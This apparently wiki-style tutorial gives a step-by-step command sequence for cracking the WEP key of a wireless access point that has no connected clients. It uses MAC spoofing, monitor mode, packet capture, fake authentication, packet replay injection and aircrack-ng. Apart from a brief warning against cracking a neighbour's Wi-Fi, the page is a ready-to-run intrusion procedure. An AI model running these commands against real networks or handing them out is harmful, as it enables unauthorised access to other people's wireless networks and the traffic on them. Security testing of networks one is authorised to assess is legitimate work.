Cracking a clientless wep AP

Jump to navigationJump to search


Not all AP's have a client connected ...I'll assume you already have a supported card and the injection is working !!! I'll also assume that you know what you're doing and you're not doing anything illegal ! DON'T GO CRACKING NEIGHBOURs wifi...


1) stop the card

 airmon-ng stop wlan0
 ifconfig wlan0 down

2) change card mac

 ifconfig wlan0 hw ether 00:11:22:33:44:55 up

3) get some access points

 iwlist wlan0 scan

4) start it in monitor mode

 airmon-ng start wlan0

5) start dumping packets

 airodump-ng -c channel -w file --bssid ap_mac wlan0

6) fake auth

 aireplay-ng -1 0 -a ap_mac -h 00:11:22:33:44:55 wlan0

7) play some fake packets ( you should see the packets grow fast in the airodump-ng window )

 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b ap_mac -h 00:11:22:33:44:55 wlan0

8) crack it !!!

 aircrack-ng file-01.cap


If something's wrong .. you're probably not auth'ed .. or the injection doesn't work .. or you're too far away .. bla bla bla.. Not my problem.
